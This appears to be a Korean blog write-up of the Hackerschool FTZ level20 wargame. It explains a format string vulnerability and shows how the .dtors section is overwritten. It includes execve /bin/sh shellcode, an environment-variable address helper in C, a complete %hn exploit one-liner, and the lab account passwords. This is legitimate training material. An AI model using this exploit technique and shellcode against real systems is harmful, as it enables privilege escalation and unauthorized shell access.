login as : level20
password : we are just regular guys
level11 : https://sean.tistory.com/403
level20 문제 파악
level20 문제의 hint 파일을 보면 위와 같은 코드가 보이는데, 코드 해석은 다음과 같다.
1. bleh 변수는 80byte 만큼 받을 수 있다.
2. 사용자로부터 79byte만큼만 입력을 받아 bleh 변수에 저장한다.
3. bleh 변수에 있는 값을 출력한다.
이번 문제는 level11 에서와 같이 FSB 문제이다.
다른 점이 있다면, level11 문제에서는 bof 공격도 가능했었는데, 이번 문제에서는 RET 주소를 덮어쓰려면 80byte + dummy(8byte) + SFP(4byte) = 92byte를 덮어써야 하는데, hint에 제시된 소스코드에서는 키보드로 입력받는 수가 79byte밖에 안되므로 bof 취약점은 방어되어 있다.
또한 level20 문제는 위와 같이 gdb로 디버깅을 진행할 수 없다.
aaaa%08x.%08x.%08x.%08x
입력값이 스택에서 얼마나 떨어져 있는지 확인해보기 위해 위와 같이 입력해보면 level11과 동일하게 입력한 문자열이 4번째에서 표시되는 것을 확인할 수 있다.
공격
nm ./attackme | head -15
이제 덮어써야 할 소멸자 역할인 .dtors의 주소를 찾기 위해 nm 명령을 이용해보면 위와 같이 메모리에 올라온 심볼들이 보이지 않는다.
심볼 분석이 되지 않도록 컴파일하면 위와 같이 바이너리에 있는 많은 정보를 숨기기 때문에 쉽게 리버싱 하지 못하게 할 수 있지만 objdump를 이용하면 된다.
objdump -h ./attackme
objdump를 이용하면 위와 같이 메모리에 올라온 심볼의 위치를 확인할 수 있는데
18번째로 출력된 "18 .dtors"에서 __DTOR_LIST__의 주소가 0x08049594라는 것을 알 수 있지만, 그 다음 4byte만큼 떨어진 주소인 __DTOR_END__ 심볼을 덮어써야하므로 결국 덮어써야 할 주소는 0x08049598에 해당한다.
낮은 주소 |
printf("aaaa%08x.%08x.%08x.%08x") |
dummy1 |
dummy2 |
dummy3 |
char bleh[80] = "aaaa" |
dummy |
SFP |
RET |
높은 주소 |
공격을 하기 전 다시 한 번 FSB 공격을 위의 표를 통해 설명하자면
맨 위에 있는 printf() 함수 호출 부분을 보면 %x를 입력해서 메모리 값을 출력하는 방법을 확인할 수 있는데, 이 경우 키보드에서 입력한 "AAAA%08x.%08x.%08x.%08x" 문자열은 당연히 bleh[] 배열에 들어간다.
그 다음 hint에 제시됐던 소스코드에서 마지막 줄에 있는 printf(bleh[]) 함수 호출이 처리되는 순간 %08x를 세 번 만나게 되는데, 한 번 만날 때마다 4byte 앞의 메모리에 있는 값을 출력하기 때문에 위의 attakme 파일을 실행한 결과에서처럼 위의 표에 나와있는 대로 dummy1, dummy2, dummy3 순서로 메모리에 있는 값이 출력된다.
참고) printf("aaaa%08x.%08x.%08x.%08x")가 포맷스트링이 있는 부분이므로 줄여서 포맷스트링이라고도 한다.
이렇게 포맷스트링이 실행되면서 bleh[] 배열에 입력값이 들어가게 되지만, 주소값을 입력값으로 넣게 되면 belh[] 배열에 주소값이 들어가게 되고, 여기에 %n 형식 지정자를 이용한다면 bleh[] 배열에 있는 주소에 원하는 값을 쓸 수 있게 되는 것이다.
이렇게 %n 형식 지정자를 이용해 원하는 주소에 실행하고 싶은 셸코드가 있는 주소를 덮어쓰는 것이 바로 FSB 공격의 핵심 원리이다.
공격은 프로그램의 종료 처리가 있을 __DTOR_END__ 심볼의 내용을 셸코드가 있는 주소로 덮어쓰게 되므로 프로그램이 종료되는 시점에 셸코드가 실행되어 배시셀이 나타나게 되는 것이다.
export shellcode=`printf "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"`
echo $shellcode
위와 같이 셸코드를 환경 변수에 입력하고
cp tmp
vi getenvaddr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char *ptr;
if(argc < 3) {
printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* get env var location */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
printf("%s will be at %p\n", argv[1], ptr);
}
tmp 디렉토리로 이동해 위와 같이 getenvaddr.c 파일에 코드를 입력한 후
gcc -o getenvaddr getenvaddr.c
./getenvaddr shellcode ./attackme
컴파일 한 다음 실행하여 shellcode 환경 변수의 주소를 알아내면 0xbfffff38이다.
cd
(python -c 'print "aaaa\x98\x95\x04\x08bbbb\x9a\x95\x04\x08%65320c%5$hn%49351c%7$hn"'; cat) | ./attackme
이어서 위와 같이 공격 스크립트를 짜서 공격하면
위와 같이 3101(clear) 계정의 shell을 딸 수 있는데, clear의 password는 i will come in a minute 이다.
추가적으로 깨져보이는 출력은 다음과 같다.
"웹에서 등록하세요."
"해커스쿨의 모든 레벨을 통과하신 것을 축하드립니다.
당신의 끈질긴 열정과 능숙한 솜씨에 찬사를 보냅니다.
해커스쿨에서는 실력있는 분들을 모아 연구소라는 그룹을 운영하고 있습니다.
이 메시지를 보시는 분들 중에 연구소에 관심있으신 분은 자유로운 양식의
가입 신청서를 admin@hackerschool.org로 보내주시기 바랍니다."
'전쟁 > hackerschool ftz' 카테고리의 다른 글
[hackerschool FTZ] level19 (RTL, 환경 변수 이용, setreuid(3100,3100) 함수를 셸코드로 만들기) (0) | 2024.01.10 |
---|---|
[hackerschool FTZ] level18 (포인터의 활용, bash shellscript 이용, 파일 디스크립터 관련 함수들) (0) | 2024.01.09 |
[hackerschool FTZ] level17 (함수 포인터 변조, bash shellscript) (0) | 2024.01.07 |
[hackerschool FTZ] level16 (함수 포인터 변조, bash shellscript, python script) (0) | 2024.01.05 |
[hackerschool FTZ] level15 루틴 분기 키 값(2) (0) | 2024.01.05 |